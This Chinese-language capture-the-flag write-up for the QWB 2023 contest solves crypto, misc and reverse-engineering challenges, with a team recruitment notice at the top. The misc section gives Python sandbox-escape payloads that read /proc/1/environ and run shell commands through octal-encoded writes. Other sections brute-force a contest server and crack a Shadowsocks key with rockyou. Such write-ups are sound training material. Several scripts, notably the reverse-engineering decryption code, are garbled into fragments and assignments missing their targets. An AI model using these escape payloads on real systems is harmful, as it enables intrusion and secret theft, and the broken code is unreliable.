HEADER
CTF组招新联系QQ2944508194,简历需为正式简历格式、请标注在赛事中的个人产出比,例如:某比赛团队总分2000分,我解出两个crypto共计500分占比25%。
所有方向均有名额,请不要担心投简历被拒等情况,未达标准我们会指出不足之处、给出学习建议。
获取题目下载链接请后台回复:qwb2023
CRYPTO
not only rsa:
n是一个质数5次方,可以求解1和C的根后进行组合出所有C的根,sage脚本如下:
from Crypto.Util.number import long_to_bytes
p=91027438112295439314606669837102361953591324472804851543344131406676387779969
e = 641747
c = 730024611795626517480532940587152891926416120514706825368440230330259913837764632826884065065554839415540061752397144140563698277864414584568812699048873820551131185796851863064509294123861487954267708318027370912496252338232193619491860340395824180108335802813022066531232025997349683725357024257420090981323217296019482516072036780365510855555146547481407283231721904830868033930943
n=p^5
K=Zmod(p^5)
a=K(c).nth_root(e)
b=K(1).nth_root(e)
a=int(a)
b=int(b)
print(b,a)
from tqdm import tqdm
for i in tqdm(range(e)):
a=(a*b)%n
m=long_to_bytes(int(a))
if b"flag" in m:
print(m)
break
flag{c19c3ec0-d489-4bbb-83fc-bc0419a6822a}
discrete_log:
阅读代码,题目给的假flag长度较小,猜测实际flag长度也较小,据此采用中间相遇思想进行破解。
import itertools
from gmpy2 import *
from Crypto.Util.Padding import *
from Crypto.Util.number import *
from tqdm import tqdm
p = 173383907346370188246634353442514171630882212643019826706575120637048836061602034776136960080336351252616860522273644431927909101923807914940397420063587913080793842100264484222211278105783220210128152062330954876427406484701993115395306434064667136148361558851998019806319799444970703714594938822660931343299
g = 5
c = 105956730578629949992232286714779776923846577007389446302378719229216496867835280661431342821159505656015790792811649783966417989318584221840008436316642333656736724414761508478750342102083967959048112859470526771487533503436337125728018422740023680376681927932966058904269005466550073181194896860353202252854
q = 86691953673185094123317176721257085815441106321509913353287560318524418030801017388068480040168175626308430261136822215963954550961903957470198710031793956540396921050132242111105639052891610105064076031165477438213703242350996557697653217032333568074180779425999009903159899722485351857297469411330465671649
flag_len=12
fake_flag_pad='flag{'.encode() +'x00'.encode()*flag_len+'}'.encode()
flag_pattern = (pad(fake_flag_pad, 128))
#print(flag_pattern)
flag_pattern=bytes_to_long(flag_pattern)
pattern=1<<888
#print(bin(pattern))
cc = c * inverse(pow(g,flag_pattern,p),p)%p
cc = pow(cc, inverse(pattern, q), p)
print(cc)
table = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'a', 'b', 'c', 'd', 'e', 'f']
dic = dict()
gtemp= pow(g, 2**48, p)
for half_flag1 in tqdm(itertools.product(table, repeat=6)):
half_flag1 = bytes_to_long(''.join(half_flag1).encode())
temp = cc * powmod(gtemp, -(half_flag1), p) % p
dic[temp] = half_flag1
for half_flag2 in tqdm(itertools.product(table, repeat=6)):
half_flag2 = bytes_to_long(''.join(half_flag2).encode())
temp = powmod(g, half_flag2, p)
if temp in dic:
print(long_to_bytes(dic[temp]) + long_to_bytes(half_flag2))
MISC
easyfuzz:
1、通过尝试输入字符串判断该程序对输入字符的验证规则为9位字符,并且只要满足输入正确字符使最后返回值全部为111111111即可得到flag
继续大胆猜测并尝试,发现前两位字符可以为任何字符,都满足110000000,由此可以对后七位字符进行爆破。
2、逐位爆破,验证思路正确,最后一位为字符串”d”
3、编写爆破脚本,当字符串长度为9位并输入时,将回显不为“Here is your code coverage: 110000000”的结果打印,脚本如下
from pwn import *
from string import printable
conn = remote('101.200.122.251', 12188)
non_matching_strings = []
for i in range(9):
for char in printable:
payload = 'a'*i + char + 'a'*(8-i)
print(conn.recvuntil(b'Enter a string (should be less than 10 bytes):'))
conn.sendline(payload.encode())
response = conn.recvline().decode().strip()
if response != "Here is your code coverage: 110000000":
non_matching_strings.append(payload)
for string in non_matching_strings:
print(string)
FLAG:qwb{YouKnowHowToFuzz!}
签到:
flag{welcome_to_qwb_2023}
Pyjail ! It’s myFILTER !!!:
Python沙箱逃逸,闭合之后open直接读environ得到flag
{13212}'+(print(open('/proc/1/environ').read()))+'
flag{61e81b4f-566c-49f5-84dd-d79319fddc82}
Pyjail ! It’s myRevenge !!!:
Python沙箱逃逸
用write写文件import os;os.system(“nl fl* >hzy”)执行之后再用read读取执行内容得到flag
过滤字符全用八进制绕过,分段写
{13212}'+(open('wsy', "a").write('151155160157162'))+'
{13212}'+(open('wsy', "a").write('t 157'))+'
{13212}'+(open('wsy', "a").write('163;157'))+'
{13212}'+(open('wsy', "a").write('163.'))+'
{13212}'+(open('wsy', "a").write('163y'))+'
{13212}'+(open('wsy', "a").write('st'))+'
{13212}'+(open('wsy', "a").write('em("nl 146*>hzy")'))+'
{13212}'+open('143157de.py','w').write(open('wsy').read())+'
{13212}'+(print(open('hzy').read()))+'
flag{8f0a4ac2-52d3-4adb-a1a3-47e05997817d}
Wabby Wabbo Radio:
f12可以拿到wav的链接/static/audios/xh4.wav
重新刷新了一下发现是随机选取播放的
fuzz了一下总共有xh1-xh5和hint1-hint2以及flag.wav
每一个wav的左声道显然是莫斯
分离声道,增幅,在线网站解一下
https://morsecode.world/international/decoder/audio-decoder-adaptive.html
得到:
Do you want a flag? Let's listen a little longer.
Genshin Impact starts.
The weather is really nice today. It's a great day to listen to the Wabby Wabbo radio.
If you don't know how to do it, you can go ahead and do something else first.
may be flag is png picture
do you know QAM?
其他都没啥用,就一个提示了QAM载波幅度
https://info.support.huawei.com/info-finder/encyclopedia/zh/QAM.html#Qam的星座图
简单了解了一下发现可以通过振幅来区分01,尝试打印了一下振幅,发现刚好都是集中在±1,±3之间
对比16QAM的星座图可以发现振幅拼一起刚好能起到一个信号的对应关系,但是不知道具体的对应关系是啥,直接盲猜一手从小到大,
简单的脚本如下:
import scipy.io.wavfile as wav
import numpy as np
import sys
sample_rate, data = wav.read("flag.wav")
for i in data:
print(i)
flag=''
def repla(n):
if n == -3:
return '00'
elif n == -1:
return '01'
elif n == 1:
return '10'
elif n == 3:
return '11'
for x, y in data:
n1 = round(float(x))
n2 = round(float(y))
flag += repla(n1)
flag += repla(n2)
print(flag)
谍影重重3.0:
给了hint:纸飞机他也是飞机,也能飞出国境抵达大洋彼岸
结合题目描述特殊隧道很容易联想到是vpn
稍微搜一下就可以得到是Shadowsocks
文章
https://phuker.github.io/posts/shadowsocks-active-probing.html
给出了完整解密脚本,但是不知道key,直接爆破一下,用HTTP当作请求成功的标识
#!/usr/bin/env python3
# encoding: utf-8
import os
import sys
import logging
import hashlib
from Crypto.Cipher import AES
logging.INFO) =
def EVP_BytesToKey(password, key_len, iv_len):
m = []
i = 0
while len(b''.join(m)) < (key_len + iv_len):
md5 = hashlib.md5()
data = password
if i > 0:
data = m[i - 1] + password
md5.update(data)
m.append(md5.digest())
i += 1
ms = b''.join(m)
key = ms[:key_len]
iv = ms[key_len:key_len + iv_len]
return key, iv
def decrypt(cipher,password):
key_len = int(256/8)
iv_len = 16
mode = AES.MODE_CFB
_ = EVP_BytesToKey(password, key_len, iv_len)
cipher = bytes.fromhex(cipher)
iv = cipher[:iv_len]
real_cipher = cipher[iv_len:]
obj = AES.new(key, mode, iv, segment_size=128)
plain = obj.decrypt(real_cipher)
return plain
def main():
# test http request
cipher = 'e0a77dfafb6948728ef45033116b34fc855e7ac8570caed829ca9b4c32c2f6f79184e333445c6027e18a6b53253dca03c6c464b8289cb7a16aa1766e6a0325ee842f9a766b81039fe50c5da12dfaa89eacce17b11ba9748899b49b071851040245fa5ea1312180def3d7c0f5af6973433544a8a342e8fcd2b1759086ead124e39a8b3e2f6dc5d56ad7e8548569eae98ec363f87930d4af80e984d0103036a91be4ad76f0cfb00206'
with open('rockyou.txt','rb') as f:
lines = f.readlines()
for password in lines:
plain = decrypt(cipher,password.strip())
if b'HTTP' in plain:
print(password,plain)
if __name__ == "__main__":
main()
#b'supermann' b'x03x0f192.168.159.131x00PGET /Why-do-you-want-to-know-what-this-is HTTP/1.1rnHost: 192.168.159.131rnUser-Agent: curl/8.4.0rnAccept: */*rnConnection: closernrn'
得到文件名为Why-do-you-want-to-know-what-this-is,md5后得到flag
flag{dc7e57298e65949102c17596f1934a97}
谍影重重2.0:
根据题目描述飞机流量可以很容易联想到ADS-B协议
导出tcp流数据
tshark -r attach.pcapng -Y "tcp" -T fields -e tcp.segment_data > tcp.txt
解析脚本:
import pyModeS
with open('tcp.txt','r')as f:
lines = f.readlines()
for data in lines:
if len(data)==47:
print(pyModeS.decoder.tell(data[18:]))
筛选一下Airborne velocity ,得到79a05e的飞机速度最快为371 knots,md5 ICAO address为flag
flag{4cf6729b9bc05686a79c1620b0b1967b}
happy chess:
应该是非预期,随便输入9个任意位置直接exit掉该轮就算成功了
REVERSE
unname:
喜闻乐见的安卓逆向题。
提取roundkey
import re
data_code = '''*&ptr[0] = unk_710;
*&ptr[16] = unk_600;
*&ptr[32] = unk_670;
*&ptr[48] = unk_6A0;
*&ptr[64] = unk_6D0;
*&ptr[80] = *byte_810;
*&ptr[96] = unk_650;
*&ptr[112] = *byte_7E0;
*&ptr[128] = *byte_780;
*&ptr[144] = unk_720;
*&ptr[160] = *byte_790;
*&ptr[176] = *byte_760;
*&ptr[192] = unk_6E0;
*&ptr[208] = unk_5F0;
*&ptr[224] = *byte_7F0;
*&ptr[240] = unk_680;
*&ptr[256] = *byte_830;
*&ptr[272] = *byte_7A0;
*&ptr[288] = *byte_850;
*&ptr[304] = *byte_840;
*&ptr[320] = unk_700;
*&ptr[336] = unk_630;
*&ptr[352] = unk_730;
*&ptr[368] = unk_6F0;
*&ptr[384] = unk_660;
*&ptr[400] = unk_620;
*&ptr[416] = *byte_820;
*&ptr[432] = unk_640;
*&ptr[448] = unk_6B0;
*&ptr[464] = unk_690;
*&ptr[480] = unk_710;
*&ptr[496] = unk_6C0;
*&ptr[512] = unk_670;
*&ptr[528] = *byte_7B0;
*&ptr[544] = unk_6D0;
*&ptr[560] = *byte_7C0;
'''.strip()
data = bytearray(0x240)
for line in data_code.split('n'):
off, ea = re.findall(r'ptr[(d+)].+_(.+);', line)[0]
off = int(off, 10)
ea = int(ea, 16)
print(hex(off), hex(ea))
d = ida_bytes.get_bytes(ea, 16)
for i in range(16):
data[off+i] = d[i]
print(bytes(data).hex())
s = b''
for b in data:
if 32 <= b <= 126:
s += bytes([b])
print(s)
加密
核心加密算法不长,不过有SIMD指令的存在,伪代码不易读懂,需要动调配合理解。
flag 1 2
v52 = v91;
v53 = (int64x2_t)v50;
v94 = xmmword_650;
v95 = xmmword_740;
do
{
unsigned char ida_chars[] =
{
14, 16, 52, 57, 23, 40, 5, 37, 25, 33,
46, 12, 58, 22, 32, 32
};
while ( 1 )
{
v63 = idx & 7;
idx % 4
if ( (idx & 3) != 0 )
break;
ror_pair = &ror_number[2 * v63];
v55 = (int64x2_t *)&ptr[4 * (idx >> 2)];
v56 = vaddq_s64(v55[1], v53);
round0 x12 = 3131313131313131
v57 = v55->n128_u64[1] + v52.n128_u64[1];
data_x11 = v55->n128_u64[0] + v52.n128_u64[0] + v57;
data_x12 = __ROR8__(v57, -*ror_pair) ^ data_x11;
data_x11; =
v60 = __ROR8__(v56.n128_u64[1], -ror_pair[1]);
data_x12; =
data_x13 = vaddvq_s64(v56);
data_x14 = v60 ^ data_x13;
data_x14; =
++idx;
data_x13; =
if ( idx == 72 )
goto LABEL_146;
}
ror_pair2 = &ror_number[2 * v63];
data_x11 = v52.n128_u64[1] + v52.n128_u64[0];
data_x11; =
data_x12 = __ROR8__(v52.n128_u64[1], -*ror_pair2) ^ data_x11;
vaddvq_s64(v53); =
v65 = __ROR8__(v53.n128_u64[1], -ror_pair2[1]);
data_x13 = v53.n128_u64[0];
data_x12; =
data_x14 = v65 ^ v53.n128_u64[0];
data_x14; =
++idx;
}
while ( idx != 72 );
密文
// x11 0x13c17ce8fc8b8157
// x14 0x645d9ac2d095d15b
// x13 0x6096448f5a2d874c
// x12 0x477d6619faa7d1c7
if ( !((data_x11 + 0x5474374041455247LL) ^ 0x6835B4293DD0D39ELL | (data_x14 - 0x7DC131EF140E7742LL) ^ 0xE69C68D3BC875A19LL | (data_x13 - 0x452C699C4F4C522DLL) ^ 0x1B69DAF30AE1351FLL | (data_x12 + 0x6523745F644E5642LL) ^ 0xACA0DA795EF62809LL) )
v49 = (int8x16_t *)aRight;
解密
import struct
from ctypes import c_uint64
ror_number = [0x0E, 0x10, 0x34, 0x39, 0x17, 0x28, 0x05,
0x19, 0x21, 0x2E, 0x0C, 0x3A, 0x16, 0x20, 0x20]
N = (2**64-1)
def ror8(v, s):
s = s % 64
return ((v >> s) | (v << (64-s))) & N
def rol8(v, s):
s = s % 64
return ((v << s) | (v >> (64-s))) & N
data = bytes.fromhex('6f4e5f5930555f46897ba4c3c5e378b3c39287b09294a4d3475245414037745430564e645f742365c39287b09294a4d384cc47499565958e66639b8caa5ee9335f3333595f53305f84cc47499565958ebe88f1eb10ce3e82714e5f5930555f464752454140377454be88f1eb10ce3e82d3adb3b06396d3ba33564e645f74236565639b8caa5ee933d3adb3b06396d3ba6dd0506cb4a2449f633333595f53305f6f4e5f5930555f466dd0506cb4a2449fb85889b8c5c285ad4c5245414037745430564e645f742365b85889b8c5c285adabb199987378e8c86b639b8caa5ee9335f3333595f53305fabb199987378e8c8a2dd9d94ff8c0a6e764e5f5930555f464752454140377454a2dd9d94ff8c0a6ec873b5b896c4b49438564e645f74236565639b8caa5ee933c873b5b896c4b49494b5a2bb92b597d9683333595f53305f6f4e5f5930555f4694b5a2bb92b597d99cad3561b4815199515245414037745430564e645f7423659cad3561b4815199a0779ba0a6a6c9a270639b8caa5ee9335f3333595f53305fa0779ba0a6a6c9a2c9c2efe3dd9f5da87b4e5f5930555f464752454140377454c9c2efe3dd9f5da8acc86161858380803d564e645f74236565639b8caa5ee933acc8616185838080897ba4c3c5e378b36d3333595f53305f6f4e5f5930555f46897ba4c3c5e378b3c39287b09294a4d3565245414037745430564e645f742365c39287b09294a4d384cc47499565958e75639b8caa5ee9335f3333595f53305f84cc47499565958ebe88f1eb10ce3e82804e5f5930555f46')
data = struct.unpack('<72Q', data)
# print(data)
done = False
idx = 0
flag = struct.unpack('<4Q', b'flag{IM_DUMMY_FLAG_1234567890AB}')
# flag = struct.unpack('<4Q', b'00000000111111112222222233333333')
v52 = [flag[0], flag[1]]
v53 = [flag[2], flag[3]]
for idx in range(72):
v63 = idx & 7
if idx % 4 == 0:
ror_pair = ror_number[2*v63:2*v63+2]
v55 = data[4 * (idx >> 2):4 * (idx >> 2)+4]
v56 = [c_uint64(v55[2]+v53[0]).value, c_uint64(v55[3]+v53[1]).value]
v57 = c_uint64(v55[1]+v52[1]).value
data_x11 = c_uint64(v55[0]+v52[0]+v57).value
data_x12 = ror8(v57, -ror_pair[0]) ^ data_x11
data_x11 =
v60 = ror8(v56[1], -ror_pair[1])
data_x12 =
data_x13 = c_uint64(v56[0]+v56[1]).value
data_x14 = v60 ^ data_x13
data_x14 =
data_x13 =
continue
ror_pair = ror_number[2*v63:2*v63+2]
data_x11 = c_uint64(v52[1]+v52[0]).value
data_x11 =
data_x12 = ror8(v52[1], -ror_pair[0]) ^ data_x11
c_uint64(v53[0]+v53[1]).value =
v65 = ror8(v53[1], -ror_pair[1])
data_x13 = v53[0]
data_x12 =
data_x14 = v65 ^ v53[0]
data_x14 =
hex(v52[1]))
hex(v53[1]))
# 密文
0x13c17ce8fc8b8157 =
0x645d9ac2d095d15b =
0x6096448f5a2d874c =
0x477d6619faa7d1c7 =
for idx in range(71, -1, -1):
v63 = idx & 7
if idx % 4 == 0:
ror_pair = ror_number[2*v63:2*v63+2]
v55 = data[4 * (idx >> 2):4 * (idx >> 2)+4]
data_x13 = v53[0]
data_x14 = v52[1]
v60 = data_x14 ^ data_x13
data_x12 = v53[1]
rol8(v60, -ror_pair[1]) =
data_x11 = v52[0]
c_uint64(data_x13-v56[1]).value =
data_x12 ^= data_x11
v57 = rol8(data_x12, -ror_pair[0])
c_uint64(v57-v55[1]).value =
c_uint64(data_x11-v55[0]-v57).value =
c_uint64(v56[0]-v55[2]).value =
c_uint64(v56[1]-v55[3]).value =
continue
ror_pair = ror_number[2*v63:2*v63+2]
data_x14 = v52[1]
v65 = data_x14 ^ v53[0]
data_x12 = v53[1]
rol8(v65, -ror_pair[1]) =
c_uint64(v53[0]-v53[1]).value =
data_x12 ^= v52[0]
rol8(data_x12, -ror_pair[0]) =
c_uint64(v52[0]-v52[1]).value =
from Crypto.Util.number import long_to_bytes
:-1]) :
:-1]) :
:-1]) :
:-1]) :
# flag{7hIs_I$_nEw_Try1N9_@cu7U@1}
xrtFuze:
喜闻乐见的vm题,flag格式是flag{}长度22。
void __cdecl sub_804AB46(int a1)
{
// [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
v6 = __readgsdword(0x14u);
write(1, &unk_805FBF4, 3u);
buf[0] = 0;
v5 = 0;
memset((char *)buf + 1, 0, 4 * ((((char *)buf - ((char *)buf + 1) + 33) & 0xFFFFFFFC) >> 2));
v1 = read(0, buf, 0x20u);
if ( *((_BYTE *)buf + v1 - 1) == 10 )
*((_BYTE *)buf + --v1) = 0;
if ( v1 != 22 )
exit(0);
if ( memcmp(buf, "flag{", 5u) || v4 != '}' )
exit(0);
for ( i = 0; i <= 15; ++i )
*(_BYTE *)(*(_DWORD *)(a1 + 8) + i) = *((_BYTE *)&buf[1] + i + 1);
}
直接在vm解释器函数(0x8048863)搜 “==”。
case 0xD8:
if ( ptr[v70] == ptr[v69] )
// .text:0804AA26 cmp edx, eax
在0804AA26位置下断,分析密文规律。
明文 密文首字节
flag{0000000000000000} 67
flag{0000000000000001} 67
flag{0000000000000011} 67
flag{0000000001111111} 67
flag{0000000011111111} 67
flag{0000000111111111} DD
flag{0000001111111111} 57
flag{0000011111111111} 6B
flag{0000111111111111} 6B
flag{0001111111111111} FE
flag{0011111111111111} 04
flag{0111111111111111} FA
flag{1111111111111111} 1C
可以发现后八个字符的修改不会影响到密文的首字节。
猜测是块大小为8的加密算法,CTF中常见的有DES, TEA, blowfish。
大概率是TEA算法。
分别在TEA算法可能用到的指令位置添加条件断点进行trace。
# case 0x3B:
# ptr[v38] = (int)ptr[v39] >> v40;
# // .text:0804937E sar ebx, cl
from ctypes import c_int32
ebx = ida_dbg.get_reg_val('ebx')
cl = ida_dbg.get_reg_val('cl')
v = (c_int32(ebx).value>>cl)&0xFFFFFFFF
print(f'{ebx:08X} >> {cl} = {v:08X}')
return 0
# case 0xA5:
# ptr[v38] = ptr[v39] << v40;
# // .text:080493C9 shl ebx, cl
ebx = ida_dbg.get_reg_val('ebx')
cl = ida_dbg.get_reg_val('cl')
v = (ebx<<cl)&0xFFFFFFFF
print(f'{ebx:08X} << {cl} = {v:08X}')
return 0
# case 0xD8:
# if ( ptr[v70] == ptr[v69] )
# // .text:0804AA26 cmp edx, eax
dx = ida_dbg.get_reg_val('edx')
ax = ida_dbg.get_reg_val('eax')
print(f'{dx:02X} == {ax:02X}')
return 0
# case 0xDC:
# ptr[v31] = ptr[v32] + ptr[v33];
# //.text:08048FC9 add edx, ecx
edx = ida_dbg.get_reg_val('edx')
ecx = ida_dbg.get_reg_val('ecx')
v = (edx+ecx)&0xFFFFFFFF
print(f'{edx:08X} + {ecx:08X} = {v:08X}')
return 0
trace_log
flag{0000000011111111}
00000010 >> 2 = 00000004
0000001F << 8 = 00001F00
00000061 << 16 = 00610000
0000002B << 24 = 2B000000
000000CC << 8 = 0000CC00
000000FE << 16 = 00FE0000
00000099 << 24 = 99000000
000000DD << 8 = 0000DD00
00000071 << 16 = 00710000
00000073 << 24 = 73000000
000000BB << 8 = 0000BB00
000000E1 << 16 = 00E10000
0000004B << 24 = 4B000000
xor F3 2F 51 1B 04 FC CE A9 1B EC 40 42 EA 8A D0 7A
v0 = 0x2B611FC3
v1 = 0x99FECC34
v0+=((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
v1+=((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
57429F48 + 00000000 = 57429F48 ; sum+=delta
99FECC34 << 4 = 9FECC340 ; v1 << 4
23575896 + 9FECC340 = C3441BD6 ; k0+(v1<<4)
57429F48 + 99FECC34 = F1416B7C ; sum+v1
99FECC34 >> 5 = FCCFF661 ; v1>>5
89654528 + FCCFF661 = 86353B89 ; k1+(v1>>5)
B4304B23 + 2B611FC3 = DF916AE6 ; v0 += ((v1<<4)+k0)^(v1+sum)^((v1>>5)+k1);
DF916AE6 << 4 = F916AE60 ; v0<<4
57429F48 + DF916AE6 = 36D40A2E ; sum+v0 ####
DF916AE6 >> 5 = FEFC8B57 ; v0>>5
793CDA2B + 99FECC34 = 133BA65F ; v1 += ((v0<<4)+k2)^(v0+sum)^((v0>>5)+k3);
...
...
Xorkey
拿v0,v1异或第一部分的明文得到。
F3 2F 51 1B 04 FC CE A9 1B EC 40 42 EA 8A D0 7A
第二部分也同理,得到完整xorkey。
0xF3, 0x2F, 0x51, 0x1B, 0x04, 0xFC, 0xCE, 0xA9, 0x1B, 0xEC, 0x40, 0x42, 0xEA, 0x8A, 0xD0, 0x7A
tea参数
trace的结果符合TEA算法的特征并得到
delta: 57429F48
rounds: 32
k0: 0x23575896
k1: 0x89654528
在trace_log中没有看到k2 k3,不过内存里面应该能找到。
gdb附加,在内存中搜索k0,在k0附近发现完整的秘钥。
pwndbg> search -t bytes -w -x "96585723"
Searching for value: b'x96XW#'
[anon_f7cfb] 0xf7d06dcd 0x23575896
pwndbg> dd 0xf7d06dcd-8
f7d06dc5 ff0e00cc 094200f7 23575896 00070925
f7d06dd5 094210f7 89654528 00070925 094220f7
f7d06de5 12582548 00070925 094230f7 45897856
key 23575896 89654528 12582548 45897856
enc_flag
在比较密文的位置下断,获取完整密文。
b *0x804aa26
# eax存放的是正确密文,重复该操作16次
set $edx=$eax
c
# enc_flag: 9C 6C 48 16 70 12 5a 2d e1 d7 f5 7c c5 46 32 68
flag求解
unsigned char enc_flag[16] = {
0x9C, 0x6C, 0x48, 0x16, 0x70, 0x12, 0x5A, 0x2D, 0xE1, 0xD7, 0xF5, 0x7C, 0xC5, 0x46, 0x32, 0x68};
unsigned char xor_k[16] = {
0xF3, 0x2F, 0x51, 0x1B, 0x04, 0xFC, 0xCE, 0xA9, 0x1B, 0xEC, 0x40, 0x42, 0xEA, 0x8A, 0xD0, 0x7A};
int32_t k0 = 0x23575896;
int32_t k1 = 0x89654528;
int32_t k2 = 0x12582548;
int32_t k3 = 0x45897856;
int32_t delta = 0x57429F48;
void enc(int32_t *v)
{
int32_t _sum = 0;
int32_t v0 = v[0];
int32_t v1 = v[1];
for (int i = 0; i < 32; i++)
{
_sum += delta;
v0 += ((v1 << 4) + k0) ^ (v1 + _sum) ^ ((v1 >> 5) + k1);
v1 += ((v0 << 4) + k2) ^ (v0 + _sum) ^ ((v0 >> 5) + k3);
}
v[0] = v0;
v[1] = v1;
}
void dec(int32_t *v)
{
int32_t _sum = delta * 32;
int32_t v0 = v[0];
int32_t v1 = v[1];
for (int i = 0; i < 32; i++)
{
v1 -= ((v0 << 4) + k2) ^ (v0 + _sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + _sum) ^ ((v1 >> 5) + k1);
_sum -= delta;
}
v[0] = v0;
v[1] = v1;
}
int main()
{
uint8_t pp[0x10 + 1] = "0000000011111111";
for (int i = 0; i < 8; i++)
{
pp[i] ^= xor_k[i];
//printf("%02X ", pp[i]);
}
//puts("");
int32_t v[2] = {0x123,0x456};
v[0] = *(int32_t *)&pp[0];
v[1] = *(int32_t *)&pp[4];
enc(v);
//printf("enc %08X %08Xn", v[0], v[1]);
dec(v);
//printf("dec %08X %08Xn", v[0], v[1]);
v[0] = __builtin_bswap32(*(int32_t *)&enc_flag[0]);
v[1] = __builtin_bswap32(*(int32_t *)&enc_flag[4]);
dec(v);
//printf("%08X %08Xn", v[0], v[1]);
uint8_t *p = (uint8_t *)v;
for (int i = 0; i < 8; i++)
{
p[i] ^= xor_k[i];
}
v[0] = __builtin_bswap32(v[0]);
v[1] = __builtin_bswap32(v[1]);
printf("flag{");
for (int i = 0; i < 8; i++)
{
printf("%c", p[i]);
}
v[0] = __builtin_bswap32(*(int32_t *)&enc_flag[8]);
v[1] = __builtin_bswap32(*(int32_t *)&enc_flag[12]);
dec(v);
//printf("%08X %08Xn", v[0], v[1]);
p = (uint8_t *)v;
for (int i = 0; i < 8; i++)
{
p[i] ^= xor_k[i + 8];
}
v[0] = __builtin_bswap32(v[0]);
v[1] = __builtin_bswap32(v[1]);
for (int i = 0; i < 8; i++)
{
printf("%c", p[i]);
}
printf("}");
puts("");
}
flag{1fu13_n19ela06~!}
fancy:
使用相同的明文去加密,密文一直在变化。
看了眼导入表,没有rand,但是有clock_gettime。
挂钩clock_gettime函数替换获取的时间戳。
typedef int (*PFN_clock_gettime)(clockid_t clock_id, struct timespec *tp);
int clock_gettime(clockid_t clock_id, struct timespec *tp)
{
void *handle = dlopen("libc.so.6", RTLD_LAZY);
PFN_clock_gettime real = (PFN_clock_gettime)dlsym(handle, "clock_gettime");
int res = real(clock_id, tp);
int ts = atoi(getenv("TS_VALUE"));
tp->tv_sec = ts;
// printf("clock_gettime: %ldn", tp->tv_sec);
return res;
}
// gcc hook.c -shared -o hook.so
固定明文和时间戳后,密文不再发生改变。
do
{
v53 = plaintext[v51];
...
*(_BYTE *)(*(_QWORD *)dest + v50) = v53 4;
...
...
*(_BYTE *)(*(_QWORD *)dest + v54) = v53 & 0xF;
...
}
while ( v49 != v51 );
明文字节被拆分成高位和低位俩个部分。
0x35 -> 0x03 0x05
密文相邻的字节不存在关联性,可逐字节爆破。
爆破求解
import os
enc_flag = open('./cipher_', 'rb').read()
ts_start = 1702565186 # 密文文件的时间戳
correct_ts = 0
for off in range(0, -10, -1):
ts = ts_start + off
for ch in range(0x20, 0x80, 0x10):
open('./1.bin', 'wb').write(bytes([ch]))
# time.sleep(0.5)
os.system(f'TS_VALUE={ts} LD_PRELOAD=./hook.so ./fancy --input=1.bin')
# time.sleep(0.5)
cipher = open('./cipher', 'rb').read()
if cipher[0] == enc_flag[0]:
print('correct_ts: ', ts, hex(cipher[0]), hex(ch))
correct_ts = ts
break
# correct_ts: 1702565185 0x3d 0x40
if not correct_ts:
print('???')
exit(0)
flag = b''
size = len(enc_flag) // 2
for idx in range(size-0x30, size): # 跳过前言
# 先爆破高位
for high in range(0x20, 0x80, 0x10):
open('./1.bin', 'wb').write(b'A'*idx+bytes([high]))
os.system(f'TS_VALUE={correct_ts} LD_PRELOAD=./hook.so ./fancy --input=1.bin')
cipher = open('./cipher', 'rb').read()
if cipher[idx*2] == enc_flag[idx*2]:
# print(f'high: {high:02X}')
break
# 再爆破低位
for low in range(0x10):
open('./1.bin', 'wb').write(b'A'*idx+bytes([low]))
os.system(f'TS_VALUE={correct_ts} LD_PRELOAD=./hook.so ./fancy --input=1.bin')
cipher = open('./cipher', 'rb').read()
if cipher[idx*2+1] == enc_flag[idx*2+1]:
# print(f'low: {low:02X}')
break
flag += bytes([high|low])
print('r'+flag.decode())
flag{Y0u_h !C0ngr }
dotdot:
白盒AES
通过DFA恢复末轮密钥
import phoenixAES
inp = "abcdefghijklmn12"
dump = """
809D8B75D9097398E20AFE0E6DA11E55
399D8B75D909733EE20AFF0E6D401E55
399D8B75D909733EE20AFF0E6D401E55
809D6F75D9CA7398430AFE0E6DA11E50
80CF8B75D5097398E20AFED06DA17855
80CD8B7527097398E20AFE026DA1DA55
A79D8B75D9097373E20A4A0E6DFC1E55
809D8BE3D9092198E210FE0E93A11E55
809D3B75D98F7398CF0AFE0E6DA11E00
809D8875D93F7398BB0AFE0E6DA11E17
80C58B7504097398E20AFE866DA1BD55
EF9D8B75D9097328E20A9A0E6D891E55
809D8B35D9091598E218FE0EF5A11E55
809D8B10D909A198E2E4FE0E2DA11E55
809D0675D94373980F0AFE0E6DA11EE6
80EF8B755F097398E20AFE2D6DA15955
4B9D8B75D90973D9E20A150E6DCA1E55
"""
with open(".\dump", "wb") as f:
f.write(dump.encode())
phoenixAES.crack_file('.\dump', verbose=0)
# Last round key #N found:
# EA9F6BE2DF5C358495648BEAB9FCFF81
使用aes_keyschedule获取所有轮密钥
./aes_keyschedule EA9F6BE2DF5C358495648BEAB9FCFF81 10
K00: 51574232303233486170707947616D65
K01: BF6B0F928F593CDAEE294CA3A94821C6
K02: EF96BB4160CF879B8EE6CB3827AEEAFE
K03: 0F11008D6FDE8716E1384C2EC696A6D0
K04: 97357039F8EBF72F19D3BB01DF451DD1
K05: E9914EA7117AB98808A90289D7EC1F58
K06: 075124A9162B9D211E829FA8C96E80F0
K07: D89CA874CEB73555D035AAFD195B2A0D
K08: 61797FA0AFCE4AF57FFBE00866A0CA05
K09: 9A0D149335C35E664A38BE6E2C98746B
K10: EA9F6BE2DF5C358495648BEAB9FCFF81
解出第一段输入,”WelcomeToQWB2023”
EEE使用第一段输入作为RC4密钥对License.dat文件解密
然后对解密后的数据进行反序列化
调试发现反序列化异常
先手动给License.dat文件解密一下
from Crypto.Cipher import ARC4
key = b"WelcomeToQWB2023"
with open(".\License.dat", "rb") as f:
data = f.read()
rc4 = ARC4.new(key)
data = rc4.decrypt(data)
with open(".\License_dec.dat", "wb") as f:
f.write(data)
发现像是调用了FFF,FFF需要两个参数
第一个参数就是第一段输入,作为TEA密钥
第二个参数要求长度为21,作为TEA明文
先解密一下TEA
import struct
v28 = bytes.fromhex('45B6AB21796BFE965C1D04B28AA6B86A35F12ABF17D3036B')
key = struct.unpack('<4I', b'WelcomeToQWB2023')
_delta = 3735928559
flag = b''
for i in range(0, len(v28), 8):
_sum = (32*_delta) & 0xFFFFFFFF
v0, v1 = struct.unpack_from('<2I', v28, i)
for k in range(32):
